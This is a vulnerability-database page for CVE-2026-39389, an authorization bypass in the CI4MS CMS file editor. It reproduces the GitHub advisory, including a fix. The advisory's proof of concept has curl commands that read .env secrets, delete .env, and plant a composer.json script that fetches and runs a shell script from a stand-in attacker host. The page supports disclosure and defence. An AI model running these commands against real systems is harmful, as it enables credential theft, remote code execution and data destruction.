Vulnerability-Lookup

CVE-2026-39389 (GCVE-0-2026-39389)

Vulnerability from cvelistv5 – Published: 2026-04-08 14:28 – Updated: 2026-04-08 14:28

Title

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

Summary

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

Severity ?

6.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	ci4-cms-erp	ci4ms	Affected: < 0.31.4.0

FKIE_CVE-2026-39389

Vulnerability from fkie_nvd - Published: 2026-04-08 15:16 - Updated: 2026-04-08 21:26

Severity ?

6.7 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0,  This vulnerability is fixed in 0.31.4.0."
    }
  ],
  "id": "CVE-2026-39389",
  "lastModified": "2026-04-08T21:26:13.410",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 6.7,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-08T15:16:13.587",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-9RXP-F27P-WV3H

Vulnerability from github – Published: 2026-04-08 19:15 – Updated: 2026-04-08 19:15

Summary

CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files

Details

Summary

The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.

Details

The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:

protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode',
    'node_modules', 'vendor', 'writable',
    '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

This array is checked only in listFiles() at lines 45-48 and 64:

// Line 45-48 - path component check
foreach ($pathParts as $part) {
    if (in_array($part, $this->hiddenItems)) {
        return $this->failForbidden();
    }
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;

However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:

public function readFile()
{
    // ... validation ...
    $path = $this->request->getVar('path');
    $fullPath = realpath(ROOTPATH . $path);
    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
        return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
    }
    return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}

This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.

Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:

protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().

Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:

public $csrfExcept = [
    'backend/fileeditor',
    'backend/fileeditor/*',
];

This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.

PoC

Requires an authenticated backend session with fileeditor.read permission granted.

Step 1: Read .env file to extract secrets

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/.env'

Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.

Step 2: Read PHP configuration files

curl -s -b 'ci_session=<valid_session_cookie>' \
  'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'

Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).

Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/save' \
  -d 'path=/composer.json' \
  -d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'

The next composer install or composer update executes the attacker's script.

Step 4: Delete .env (requires fileeditor.delete permission)

curl -s -b 'ci_session=<valid_session_cookie>' \
  -X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
  -d 'path=/.env'

Impact

Credential disclosure: Any backend user with fileeditor.read permission can read .env (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.
Remote code execution: A user with fileeditor.update permission can overwrite composer.json with malicious composer scripts that execute on the next composer install/update.
Denial of service: A user with fileeditor.delete permission can delete .env or other critical configuration files, causing application failure.
False security boundary: Administrators who configure fileeditor.read as a limited permission for content editors are unknowingly granting access to all application secrets, since the hiddenItems protection only affects the UI file tree, not the API.

Recommended Fix

Apply hiddenItems validation to all endpoints that accept a path parameter. Extract the check into a reusable method and also add allowedFileTypes to readFile():

// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
    $pathParts = explode('/', trim($path, '/'));
    foreach ($pathParts as $part) {
        if (in_array($part, $this->hiddenItems)) {
            return true;
        }
    }
    return false;
}

// Then add to readFile(), saveFile(), renameFile(), createFile(), 
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
    return $this->failForbidden();
}

// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
    return $this->failForbidden();
}

Also re-enable CSRF protection by removing the CSRF exemption in FileeditorConfig.php (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.

Severity ?

6.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39389"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:08Z",
    "nvd_published_at": "2026-04-08T15:16:13Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Fileeditor controller defines a `hiddenItems` array containing security-sensitive paths (`.env`, `composer.json`, `vendor/`, `.git/`) but only enforces this protection in the `listFiles()` method. The `readFile()`, `saveFile()`, `deleteFileOrFolder()`, `renameFile()`, `createFile()`, and `createFolder()` endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only `fileeditor.read` permission can exfiltrate application secrets from `.env`, and a user with `fileeditor.update` permission can overwrite `composer.json` to achieve remote code execution.\n\n## Details\n\nThe `hiddenItems` array is defined at `modules/Fileeditor/Controllers/Fileeditor.php:10-26`:\n\n```php\nprotected $hiddenItems = [\n    \u0027.git\u0027, \u0027.github\u0027, \u0027.idea\u0027, \u0027.vscode\u0027,\n    \u0027node_modules\u0027, \u0027vendor\u0027, \u0027writable\u0027,\n    \u0027.env\u0027, \u0027env\u0027, \u0027composer.json\u0027, \u0027composer.lock\u0027,\n    \u0027tests\u0027, \u0027spark\u0027, \u0027phpunit.xml.dist\u0027, \u0027preload.php\u0027\n];\n```\n\nThis array is checked **only** in `listFiles()` at lines 45-48 and 64:\n\n```php\n// Line 45-48 - path component check\nforeach ($pathParts as $part) {\n    if (in_array($part, $this-\u003ehiddenItems)) {\n        return $this-\u003efailForbidden();\n    }\n}\n// Line 64 - directory listing filter\nif (in_array($name, $this-\u003ehiddenItems)) continue;\n```\n\nHowever, `readFile()` (line 76) performs **neither** a `hiddenItems` check **nor** an `allowedFileTypes()` check:\n\n```php\npublic function readFile()\n{\n    // ... validation ...\n    $path = $this-\u003erequest-\u003egetVar(\u0027path\u0027);\n    $fullPath = realpath(ROOTPATH . $path);\n    if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON([\u0027error\u0027 =\u003e \u0027...\u0027])-\u003esetStatusCode(400);\n    }\n    return $this-\u003eresponse-\u003esetJSON([\u0027content\u0027 =\u003e file_get_contents($fullPath)]);\n}\n```\n\nThis means any file within ROOTPATH \u2014 regardless of extension (`.php`, `.env`, etc.) \u2014 can be read by any user with the `fileeditor.read` permission.\n\nSimilarly, `saveFile()` (line 92) checks `allowedFileTypes()` but not `hiddenItems`. Since `json` is in `$allowedExtensions`, `composer.json` (which is explicitly in `hiddenItems`) can be overwritten:\n\n```php\nprotected $allowedExtensions = [\u0027css\u0027, \u0027js\u0027, \u0027html\u0027, \u0027txt\u0027, \u0027json\u0027, \u0027sql\u0027, \u0027md\u0027];\n```\n\n`deleteFileOrFolder()` (line 194) checks neither `hiddenItems` nor `allowedFileTypes()`.\n\n**Compounding factor:** CSRF protection is disabled for all fileeditor routes in `modules/Fileeditor/Config/FileeditorConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n    \u0027backend/fileeditor\u0027,\n    \u0027backend/fileeditor/*\u0027,\n];\n```\n\nThis means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.\n\n## PoC\n\nRequires an authenticated backend session with `fileeditor.read` permission granted.\n\n**Step 1: Read .env file to extract secrets**\n```bash\ncurl -s -b \u0027ci_session=\u003cvalid_session_cookie\u003e\u0027 \\\n  \u0027https://target.com/backend/fileeditor/read?path=/.env\u0027\n```\nExpected response: JSON containing `.env` file contents including database credentials, encryption keys, and other secrets.\n\n**Step 2: Read PHP configuration files**\n```bash\ncurl -s -b \u0027ci_session=\u003cvalid_session_cookie\u003e\u0027 \\\n  \u0027https://target.com/backend/fileeditor/read?path=/app/Config/Database.php\u0027\n```\nExpected response: Full database configuration PHP source with credentials (note: `readFile()` has no `allowedFileTypes` check, so `.php` files are readable).\n\n**Step 3: Overwrite composer.json for RCE (requires `fileeditor.update` permission)**\n```bash\ncurl -s -b \u0027ci_session=\u003cvalid_session_cookie\u003e\u0027 \\\n  -X POST \u0027https://target.com/backend/fileeditor/save\u0027 \\\n  -d \u0027path=/composer.json\u0027 \\\n  -d \u0027content={\"scripts\":{\"post-install-cmd\":\"curl attacker.com/shell.sh|sh\"}}\u0027\n```\nThe next `composer install` or `composer update` executes the attacker\u0027s script.\n\n**Step 4: Delete .env (requires `fileeditor.delete` permission)**\n```bash\ncurl -s -b \u0027ci_session=\u003cvalid_session_cookie\u003e\u0027 \\\n  -X POST \u0027https://target.com/backend/fileeditor/deleteFileOrFolder\u0027 \\\n  -d \u0027path=/.env\u0027\n```\n\n## Impact\n\n- **Credential disclosure:** Any backend user with `fileeditor.read` permission can read `.env` (database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions.\n- **Remote code execution:** A user with `fileeditor.update` permission can overwrite `composer.json` with malicious composer scripts that execute on the next `composer install/update`.\n- **Denial of service:** A user with `fileeditor.delete` permission can delete `.env` or other critical configuration files, causing application failure.\n- **False security boundary:** Administrators who configure `fileeditor.read` as a limited permission for content editors are unknowingly granting access to all application secrets, since the `hiddenItems` protection only affects the UI file tree, not the API.\n\n## Recommended Fix\n\nApply `hiddenItems` validation to all endpoints that accept a `path` parameter. Extract the check into a reusable method and also add `allowedFileTypes` to `readFile()`:\n\n```php\n// Add this method to the Fileeditor controller\nprivate function isHiddenPath(string $path): bool\n{\n    $pathParts = explode(\u0027/\u0027, trim($path, \u0027/\u0027));\n    foreach ($pathParts as $part) {\n        if (in_array($part, $this-\u003ehiddenItems)) {\n            return true;\n        }\n    }\n    return false;\n}\n\n// Then add to readFile(), saveFile(), renameFile(), createFile(), \n// createFolder(), and deleteFileOrFolder():\nif ($this-\u003eisHiddenPath($path)) {\n    return $this-\u003efailForbidden();\n}\n\n// Additionally, add allowedFileTypes check to readFile():\nif (!$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nAlso re-enable CSRF protection by removing the CSRF exemption in `FileeditorConfig.php` (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.",
  "id": "GHSA-9rxp-f27p-wv3h",
  "modified": "2026-04-08T19:15:08Z",
  "published": "2026-04-08T19:15:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39389"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39389 (GCVE-0-2026-39389)

FKIE_CVE-2026-39389

GHSA-9RXP-F27P-WV3H

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature